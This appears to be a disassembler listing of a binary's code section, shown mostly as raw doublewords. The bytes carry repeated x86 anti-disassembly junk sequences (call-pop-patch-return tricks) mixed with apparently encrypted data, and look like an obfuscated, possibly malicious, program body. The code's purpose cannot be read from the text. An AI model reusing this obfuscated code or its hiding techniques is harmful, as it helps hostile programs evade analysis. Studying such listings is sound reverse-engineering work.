		dd 0BF04029Ah, 159195FFh, 6A07D3h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 6376F6C3h, 0A740732Ah
		dd 0F5C5A962h, 4EB6B58Bh, 6A07DCh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 790CA9C3h, 0D4D6A4ADh
		dd 0E921C272h, 9, 60AE3B4Bh, 1EB4007h, 0DE973h,	29BE0000h
		dd 0DDDFC758h, 9AC5744Ch, 8B68C42Ah, 0D3031185h, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 8B67C770h, 0D31759BDh, 14E807h, 64230000h, 0E86986E5h
		dd 4FB4969Ch, 3A9C828h,	8DDC7CE2h, 8166625Ch, 5BBDC0F3h
		dd 0C48689h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 239568C3h, 0E98D893Ah, 8B07D331h
		dd 0D3294195h, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 196DC746h, 0B59D8946h
		dd 8307D332h, 6A04C2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 8D15A5C3h, 0BE9517Bh, 0ED000000h
		dd 10DA6AB3h, 1BA56B12h, 895F0F67h, 0D3136D85h,	20508907h
		dd 58C0Fh, 81660000h, 8D5C2FDBh, 0DC618185h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 27BC53F2h, 0B8868971h, 0F5000000h, 24A18531h, 6A07D3h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 24C35646h
		dd 0EE96Fh, 4C040000h, 0D2E2F1EDh, 50777C2Bh, 0EEEE4810h
		dd 4EC2B5FFh, 0BB6607DCh, 95FFF2CCh, 7D31599h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 83C35747h, 7CE64F6h
		dd 0BD299D6Eh, 7D30A2Dh, 12E950h, 0F7E90000h, 9DC6F964h
		dd 3A88D474h, 0DF5D5B74h, 944FD093h, 6A243489h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 0DA34C350h, 8DC89CBAh, 0C2B5FFF0h, 6A07DC4Eh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 0DD16C357h, 0FE567FFDh, 0BB664016h, 95FF9177h, 7D33025h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 11C35747h
		dd 2D6759A5h, 85958920h, 8307D320h, 0D316E9BDh,	840F0007h
		dd 93h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h
		dd 0E9C35040h, 9612D2D3h, 0BDBB5250h, 0F49D357h, 5AD88B31h
		dd 52505058h, 0CE9h, 8D329E00h,	7D5C16E2h, 3B1A0516h, 0E9310F3Fh
		dd 11h,	47B61FCh, 0E026F4D6h, 1EF9CCDEh, 0FE86E03Eh, 96585AC6h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 57C35646h
		dd 45F78052h, 0F3FB789h, 86h, 8810F00h,	0F000000h, 28Bh
		dd 0FFF88B00h, 0DC4EC2B5h, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 8BF37AE0h
		dd 0D307D99Dh, 1595FF07h, 6607D312h, 0FF0CA6BFh, 0DC4EC2B5h
		dd 0DE8B6607h, 324D95FFh, 0D38107D3h, 13905FA2h, 0FCF78166h
		dd 41BD8304h, 207D313h,	8B840Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0FB4599C3h
		dd 870FF12Eh, 6, 17619D23h, 0BF0F07D3h,	7D858BDBh, 6A07D334h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 0F495C352h, 141CC77Fh, 810F6060h,	0
a1ee4Aa		db '14',7,'aa',0
		dw 6A00h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 81B5C356h, 48D6C3E7h, 5185C730h, 7D306h
		dd 81000000h, 660285F3h, 0F1F7E974h, 6AFFFFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0AE84C9C3h
		dd 0CD51ACDBh, 8B0A0298h, 0B19D8BC1h, 0E907D323h, 12h
		dd 0F12C3CEBh, 1E254EB3h, 14573BB2h, 291AE398h,	858DFE5Ch
		dd 7D31C71h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	0C5C35747h, 9C20AEFBh, 8A86646Eh, 0D18D01C3h, 907D329h
		dd 0D32E19B5h, 8B669007h, 3DBF50DAh, 904CCEE1h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0A8C35747h, 418529FEh
		dd 8B07D32Dh, 0F006ADFh, 9D8BDBB7h, 7D301E5h, 6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0F0AD0DC3h, 13E9h, 77EFD700h, 0E6A43D4Dh, 4BA5DBADh
		dd 0A8614B2Ah, 1C42C56Ch, 1DAC858Dh, 6A07DDh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 7D3EE5C3h
		dd 4BC78166h, 5C08386h,	1735BD8Bh, 0B58907D3h, 7D31F9Dh
		dd 0FE890h, 62BF0000h, 0F1890211h, 95AE9646h, 5DB84289h
		dd 2810FEEh, 60000000h,	90505B61h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 0C4C35343h,	5C9C8E53h, 0BB4B7EE3h
		dd 48F95F59h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 535D87C3h, 0EB4987B1h, 0F414CB8h
		dd 685h, 59952900h, 6A07D323h, 12E800h,	0DC560000h, 4764756Fh
		dd 1966663Dh, 37430549h, 10139558h, 68C0Fh, 95010000h
		dd 7D32DADh, 4D95FF5Bh,	8B07D32Fh, 0D331BDBDh, 5E907h
		dd 9A540000h, 8D3CE243h, 0DC29B08Dh, 0C8B0F07h,	0F000000h
		dd 681h, 45B58900h, 0FF07D323h,	55006AD1h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0F2E2C43h
		dd 48Eh, 0E3BB6600h, 55BD8331h,	107D332h, 6F850Fh, 85890000h
		dd 7D334C1h, 0BD8B026Ah, 7D32721h, 0AD8DBB90h, 56503381h
		dd 0EE860h, 0A99B0000h,	0A4AD790Ch, 0C272D4D6h,	4E341821h
		dd 61C78B5Eh, 0AE9905Bh, 0D6000000h, 758C937Bh,	0E24CE03h
		dd 9995FFB9h, 6A07D315h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 2756C350h, 959529FBh
		dd 8907D32Bh, 0D30D0DB5h, 0E1CE907h, 0E80000h, 5D000000h
		dd 1DB6ED81h, 9D2B07DDh, 7D31815h, 13E9h, 85B9CC00h, 633BAEA4h
		dd 0EC5E1E99h, 0DB0591EDh, 0C44E90DDh, 195C858Dh, 6A07DCh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0B98869C3h, 0E1A436C9h, 0BD311D5Dh, 7D30069h, 0BE9h
		dd 0F6580200h, 0D4284B13h, 0FB5F931Ch, 218D0F90h, 50000000h
		dd 5E952h, 9FB30000h, 0F827D30h, 0BE831h, 0C5700000h, 0C0A7BE8Eh
		dd 0EF8CCD1Dh, 585A5B92h, 4860F50h, 53000000h, 905F6160h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 40C35242h
		dd 34133965h, 0E063341Bh, 1BF38175h, 8B6A090Ch,	0D30B75BDh
		dd 35FF6407h, 0
aTuFdi		db 'Fd%',0
		align 4
aJ		db 'j',0
		dw 0E851h
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0E2C35141h, 44890FA3h
		dd 0FFDFB70Fh, 0D32CCD85h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 6A5340DFh
		dd 50006AFFh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 909EB5F6h, 87932459h, 0BE84Bh, 0C9550000h
		dd 0C1DD127Ah, 6537C27h, 439FBF09h, 0FF5B6B34h,	0D324A5B5h
		dd 0F1BD2907h, 0FF07D319h, 0D3181995h, 106E907h, 0BD230000h
		dd 7D31399h, 0CE800B0h,	72000000h, 9B990663h, 98EB69h
		dd 9ABE1AAh, 0D331F99Dh, 0BD335F07h, 7D31A21h, 71E470E6h
		dd 12D78166h, 0F613CDEh, 0CF83h, 5BD3300h, 0F07D320h, 8151C8B6h
		dd 252437CFh, 6BA5B39h,	8B000000h, 0E9C18BD9h, 14h, 0C59948D1h
		dd 2B5778ADh, 42A032C3h, 0DD6FD429h, 3727525Ch,	0F04E8C1h
		dd 0F766F9BFh, 0F19D8BE2h, 8A07D309h, 66C82BFDh, 8BA331BFh
		dd 9E74BBD1h, 6E97E26h,	9000000h, 0D31F3195h, 45858B07h
		dd 907D330h, 0D31EC1B5h, 7C08307h, 0A9D9589h, 0C08307D3h
		dd 99D8B00h, 3B07D31Dh,	1A830FD0h, 0E9000000h, 48h, 0EE950h
		dd 0E6080000h, 9E7C0449h, 0FAEB4399h, 2D3D8CBBh, 658D8B5Bh
		dd 0F07D334h, 0E183FEB7h, 21840F01h, 56000000h,	5B41F780h
		dd 3465A583h, 50FE07D3h, 5B92DF80h, 30459589h, 63BB07D3h
		dd 0E972D943h, 0
aNIaJ		db 'I',7,'j',0
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0C72722C3h, 49077F34h, 68D0Fh, 95310000h, 7D30B71h
		dd 830F006Ah, 13h, 0EE9h, 0FCA22800h, 5BFB004Fh, 0D2DDBDCAh
		dd 0FF4EF80Ch, 0D3301995h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 6B19E8FCh
		dd 0EF6937DAh, 8E0F6489h, 0
		dd 9BBB9h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 0D88BA2A4h, 0E9FCE183h, 6, 12F07BFDh
		dd 3FC000Bh, 0D309F9BDh, 56605107h, 419D0958h, 6107D32Bh
		dd 0B85Bh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 45E97BC3h, 8E3C2D0Bh, 68AE1ABFh
		dd 0BA2Dh, 0BD8B0000h, 7D31A7Dh, 0D1D38166h, 0C233AD80h
		dd 0D003E8D1h, 7504E983h, 51006AF4h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 5B122004h
		dd 6A8583h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0B43AC8C3h, 0B3A32A73h, 880D98h, 9D8B0000h
		dd 7D30881h, 2941958Bh,	9D8B07D3h, 7D30BE5h, 2BA18D8Bh
		dd 6A07D3h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 0A85874C3h, 0C1B9D08Dh, 50F070EBh, 188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 57006A58h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 8A28FD5Ch
		dd 0E78166FEh, 38BB4051h, 83101F86h, 0D30891BDh, 840F0007h
		dd 8Eh,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h
		dd 7FC35242h, 7417D3BCh, 0A98531A6h, 0B807D315h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 2C35646h
		dd 0BE291C2Ah, 860F23A8h, 1, 0B18D8DF5h, 6A07D34Dh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 78B9C356h, 0D9FEA303h, 81B7A744h, 860FE1FFh,	6, 1EF18D31h
		dd 0BD8307D3h, 7D33311h, 1A840F00h, 6A000004h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 13BAC351h, 0BD83B68Fh, 7D33311h, 9840F01h, 8B000004h
		dd 0D31C919Dh, 0FE907h,	509D0000h, 8DE23AA6h, 49403592h
		dd 0E745DDEEh, 11BD8336h, 307D333h, 3AC860Fh, 85090000h
		dd 7D31AE5h, 39BD8B60h,	6607D318h, 6AD98Ch, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0B70F5FC3h
		dd 4E180FEh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	0C5C35747h, 0B82F18F2h,	1C59BD8Bh, 0C90A07D3h
		dd 118840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 8BB797C3h, 0D314C185h, 6E907h, 0DC710000h
		dd 9CC2CF50h, 1FB1BD89h, 853307D3h, 7D31FF1h, 0E519589h
		dd 0B70F07D3h, 0D88B90F9h, 90DA8A50h, 2A2D9D33h, 0BD0107D3h
		dd 7D30CB9h, 14E9006Ah,	83000000h, 2FEFDF49h, 5C1381E9h
		dd 5809CDC8h, 0C004DD27h, 685F8B90h, 2BD4FCF6h,	0DE8h
		dd 8359B900h, 56A42D83h, 0B3D25A05h, 52508061h,	310F6160h
		dd 0DE8h, 4F44C100h, 3E8620B8h,	455FDD98h, 5A5B6261h, 34815B58h
		dd 0CBFF0924h, 50006A2Bh, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 9DBD8BC8h, 2907D323h
		dd 0D3187DB5h, 8195FF07h, 6A07D319h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0DD31C353h
		dd 7CBF74BEh, 4195890Bh, 8907D315h, 0DC4EC285h,	0E1BD8B07h
		dd 0E907D30Bh, 1E9h, 1CF5B529h,	858B07D3h, 7DC4EBAh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 1EC35040h, 0FE8h
		dd 89ECBA00h, 0E0E37E4Bh, 0EDBC0F5h, 0DCC45E06h, 5FFA8B66h
		dd 271B531h, 0C707D3h, 18h, 0DE9h, 0B262A600h, 61AEAA97h
		dd 0A4C797F5h, 0B58B9D60h, 7DC4EBEh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 0A2C35646h,	78121731h, 0AE96032h
		dd 63000000h, 0E999D493h, 9A2BB05Bh, 49BD89D0h,	6107D32Ah
		dd 16FD858Bh, 6A07D3h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 8314DC3h, 0A8C380DEh, 17B19D8Bh
		dd 68907D3h, 68B0F53h, 89000000h, 0D320C1BDh, 858B5F07h
		dd 7D314C1h, 299D8B60h,	8907D307h, 0D3120D9Dh, 46896107h
		dd 0EE804h, 0A68B0000h,	0B98452F3h, 6EE6578Dh, 0BC00FA4Eh
		dd 3A5B589h, 505B07D3h,	5BB86660h, 34896188h, 52006A24h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 138EC0A2h, 0F8A24C03h, 6820F14h, 89000000h, 0D31C819Dh
		dd 0BAB5FF07h, 6A07DC4Eh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 6ABC355h, 53F13E11h
		dd 0F9BD8953h, 5B07D30Ch, 6DBD8B5Bh, 6807D32Ah,	911DFF47h
		dd 81F88B66h, 4B82404h,	6A6F01h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 63BA2BC3h, 0C2858DF8h
		dd 8907DC4Eh, 0D307619Dh, 0D98A5007h, 6A240489h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 0E37CC356h, 9D891F5Eh, 7D32765h, 198195FFh, 0BF0F07D3h
		dd 6A61D9h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 5BF3E5C3h, 4328B0C2h, 1185C768h, 307D333h
		dd 89000000h, 0D30881BDh, 0C2BD8307h, 7DC4Eh, 10840Fh
		dd 81660000h, 0E90D04E3h, 21h, 192D8589h, 305007D3h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 800FC0h
		dd 60000000h, 800F60h, 0E9000000h, 8, 0CF3EA7BCh, 0E8C2E340h
		dd 0FE8A6161h, 3311BD83h, 0F0307D3h, 46785h, 5810F00h
		dd 0BF000000h, 75093638h, 30519D8Bh, 0BD8307D3h, 7DC4EC2h
		dd 49840F00h, 6A000004h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 1FCAC357h, 9D89AFB0h
		dd 7D319A9h, 2401B589h,	0B5FF07D3h, 7DC4EC2h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 96C35747h, 519D09E1h
		dd 0FF07D30Bh, 0D325F995h, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 80ED75BEh
		dd 599D8B38h, 8B07D31Ch, 0DC4EB6B5h, 0B850F07h,	0F000000h
		dd 58Eh, 0DF816600h, 6C7F244h, 10001h, 0B05BD89h, 895007D3h
		dd 95892434h, 7D32781h,	4EC2B5FFh, 6A07DCh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 9342B2C3h
		dd 0C28E4125h, 0FF5C4CA5h, 0D3159195h, 8E807h, 0F0750000h
		dd 7305B94Ch, 810F6125h, 0
a_lNJ		db '_N',7,'j',0
		db 50h,	0E8h, 3
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 3A32C350h, 2AAFC356h, 6D763887h, 68C0Fh, 0BD8B0000h
		dd 7D31839h, 311858Bh, 9D8B07D3h, 7D31395h, 0C48689h, 95290000h
		dd 7D3152Dh, 2941958Bh,	6A07D3h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 65F51FC3h, 0D6BB669Ch
		dd 4C2836Ah, 8D205089h,	0DC618185h, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0FB68491h
		dd 2880h, 9E86000h, 21000000h, 631233Ah, 559498CFh, 11E858h
		dd 17190000h, 0A7485F2Ah, 8824407Ah, 73B6C16Ah,	5F63C9ACh
		dd 0B8868961h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0D1BBC351h,	85899C6Ch
		dd 7D31569h, 0A3BF006Ah, 0FF7B01CBh, 0DC4EC2B5h, 53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 9995FFF7h, 6A07D315h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 855AC351h, 9A4DD87h
		dd 0D317419Dh, 0BF669607h, 0E850A4CCh, 7, 0E430309Ch, 0E9A85E02h
		dd 14h,	9C11D44Bh, 0DCB05669h, 0D8085B61h, 1A37A58Fh, 0CE7ADD95h
		dd 0DE8965Bh, 0A4000000h, 4B9D0793h, 0BA107242h, 6CEDA99Ah
		dd 1569B589h, 0FF5F07D3h, 0DC4EC2B5h, 13EB8107h, 0FF6DD751h
		dd 0D3302595h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0DEFDA25Bh, 800F35C7h
		dd 8, 2840Fh, 61600000h, 16E9BD83h, 0F0007D3h, 2D84h, 5BCF8100h
		dd 506D0307h, 3489FB8Bh, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 4FB834B2h, 0B5FFCCECh
		dd 7DC4EC2h, 0E8C1CB80h, 0Dh, 1E9FA151h, 3E500584h, 90D87322h
		dd 55BD2973h, 5B07D308h, 121595FFh, 6A07D3h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 1D0372C3h
		dd 0B19D8B5Eh, 0E807D32Fh, 0Ah,	0A6C04AC2h, 0A50E582Ah
		dd 8B5F7100h, 0C2B5FFDFh, 6A07DC4Eh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0D2ACC357h
		dd 3EA09E05h, 119D8B72h, 0FF07D32Bh, 0D3324D95h, 0D7816607h
		dd 0BD83E231h, 7D31341h, 65840F02h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 0F26C355h, 0C89h, 6800F00h, 0F000000h, 8Fh, 7D858B00h
		dd 6A07D334h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 595CC356h, 2D9D8B08h, 0C607D30Ah
		dd 53500000h, 890Fh, 5B5B0000h,	65185C7h, 7D3h,	6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0DEC450C3h, 2F158FC8h, 48A0FFFh, 66000000h, 66D422BBh
		dd 3149EF81h, 0FFF346E9h, 0A59D8BFFh, 8B07D323h, 57006AC1h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 0FF62D5DEh, 89602432h, 0D30BB995h, 0B37EB807h, 0F6137BEh
		dd 858DDABFh, 7D31C71h,	24B59589h, 5B5207D3h, 2810F50h
		dd 0B7000000h, 24048974h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0B0C35141h, 85249BCEh, 0D1EC2261h, 8E9006Ah
		dd 15000000h, 0A791DFABh, 8BA071FDh, 0D314599Dh, 8B006A07h
		dd 0D314A19Dh, 0A9858D07h, 6A07DD2Dh, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 24AEC355h
		dd 9D33D2EEh, 7D30A21h,	8905C083h, 0D313CD95h, 0BB525007h
		dd 4B2A2438h, 2404895Bh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 17h, 2AC35343h, 0F5279297h, 6AE2B3h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 83C35040h, 397B64A9h
		dd 20717DD9h, 31006A79h, 0D31919B5h, 4D95FF07h,	6A07D32Fh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 2DECC357h, 0A384EC47h, 0BF3BBF49h, 0CCD6AC8h
		dd 29B08D8Dh, 0BD8B07DCh, 7D33211h, 0BE9h, 0D4AC100h, 479D2B39h
		dd 2D9941Ch, 8D0FD1FFh,	2, 8B66DF8Bh, 55BD83FBh, 107D332h
		dd 8C850Fh, 8B510000h, 0D31A7DBDh, 8B565B07h, 0D30B5DBDh
		dd 26A5B07h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	68C35343h, 0F381663Bh, 5090A025h, 90F88B66h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0A2C35040h, 0B76AEEACh
		dd 0B25E8C46h, 159995FFh, 6A07D3h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 840F18C3h, 0
		dd 2EB18D89h, 41E907D3h, 0E800000Eh, 0
aBaFDS		db ']-',7,'`f',0Bh,0
		align 4
		dd 955E3900h, 7BB7B5F9h, 7F25A982h, 0F9BD0361h,	6A07D326h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0D315C357h, 544B8F5Eh, 0CD591BC7h, 8DF88B66h
		dd 0DC195C85h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 0A1BD01D2h, 0FC07D30Dh
		dd 5840F50h, 0BF000000h, 5C9F3BDFh, 6A240489h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 15E3C351h, 3C00DDBh,	5394F2Bh, 3EBB6656h, 0FF645B68h
		dd 35h,	52006A00h, 3E8h, 0C35A2000h, 2454895Ah,	24448104h
		dd 1404h, 0C3524200h, 0EFCFBBC9h, 89640082h, 25h, 6860F00h
		dd 89000000h, 0D31D799Dh, 0CD85FF07h, 6A07D32Ch, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 0FE80C355h, 12E9h, 22C15E00h, 0A6B6FA8Ch, 0DA1897F0h
		dd 6A72ACA6h, 6AD7E3C3h, 56006AFFh, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 201A48BCh, 9EFF1E48h
		dd 95BD0B3Ah, 0E807D303h, 14h, 543B39FDh, 0A079E9F7h, 0D1423883h
		dd 65F51FB5h, 33D67D9Ch, 2870Fh, 0D88B0000h, 65B5FF5Fh
		dd 0B07D30Eh, 0D3344DBDh, 1995FF07h, 0E907D318h, 175h
		dd 89DEB70Fh, 0D32465B5h, 0E800B007h, 0Fh, 0F819C7F2h
		dd 5CEA5CD5h, 4AC343F1h, 0E8763347h, 0Bh, 103E4EEAh, 0CF675BF6h
		dd 5BBC5773h, 45BD8B5Fh, 0E607D314h, 799D0370h,	0E407D302h
		dd 0D3816671h, 613CF89Fh, 127830Fh, 0B5890000h,	7D32085h
		dd 0A18C2BFh, 0C8B60F17h, 2C9BD03h, 0B58907D3h,	7D325A5h
		dd 6BAh, 0FE800h, 0D3C30000h, 0FDEE29ACh, 36AC2A32h, 259CAD61h
		dd 8D9D29F4h, 5B07D326h, 9D89C18Bh, 7D302D1h, 0BF04E8C1h
		dd 21364D9Bh, 2BE2F766h, 0FA8B66C8h, 13E9D18Bh,	0D0000000h
		dd 9DA2BB90h, 0C14C38h,	3BE527Dh, 75115F49h, 2E936F6h
		dd 8B000000h, 0AD858BF9h, 8B07D30Bh, 0D30669BDh, 7C08307h
		dd 13E9F9h, 75C20000h, 0C90BC1D9h, 41F8B500h, 1FADA26Bh
		dd 903ECE3Dh, 0C083B9h,	1A95BD89h, 0D03B07D3h, 16830Fh
		dd 860F0000h, 5, 94D78166h, 6BE988h, 0B5310000h, 7D330DDh
		dd 0D158D8Bh, 0CE907D3h, 8C000000h, 0C72C8AD9h,	81CFBE3h
		dd 831BF9C3h, 840F01E1h, 45h, 83D88B66h, 0D30D15A5h, 8E9FE07h
		dd 20000000h, 0A2994F8Bh, 89930283h, 0D30BAD95h, 178F0F07h
		dd 0E8000000h, 0Bh, 575C6A1h, 0E21A027h, 89FC1AACh, 0D31A1995h
		dd 9D295F07h, 7D3133Dh,	0E9h, 58B58D00h, 6A07DCA9h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 6A2CC357h, 7C5EBB00h, 8D0F5673h, 5, 0C3D707BBh, 1995FF7Ch
		dd 5007D330h, 1ED9BD23h, 0B95B07D3h, 85Ch, 83FFBF0Fh, 9D8BFCE1h
		dd 7D330ADh, 57006AFCh,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 151CD69Ch, 7EC2BBBEh, 0B87F39h, 9000000h
		dd 0D31A8D8Dh, 0BA07h, 0C3800000h, 0C233AD98h, 0D003E8D1h
		dd 7504E983h, 57006AF4h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 0E611DE3Fh, 80F357F0h, 0BD2999CBh
		dd 7D32945h, 1A499589h,	880D07D3h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 8C5EC350h, 66F1BD56h, 0E385DF81h, 2941958Bh,	6A07D3h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 814B0AC3h, 0DA8B661Dh, 0CE8h, 0CA7C7000h, 597D3108h
		dd 635C1C8Fh, 0FD8D0148h, 5F07D325h, 2BA18D8Bh,	6A07D3h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0E9B4DDC3h, 11h, 4E436640h, 0CE6E66B5h, 59BA19A9h, 2872CA8Eh
		dd 0C28B50F5h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 8958188Bh
		dd 0D3312995h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 221680ABh, 0E179589Bh
		dd 91BD8398h, 7D308h, 6B840Fh, 0C3810000h, 33FE6FF7h, 1CA5BD89h
		dd 0B807D3h, 66000000h,	8D49B5BBh, 0D34DB18Dh, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0A984524h, 0BD8B3A96h, 7D30F0Dh, 6AE1FFh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 0A2B325C3h
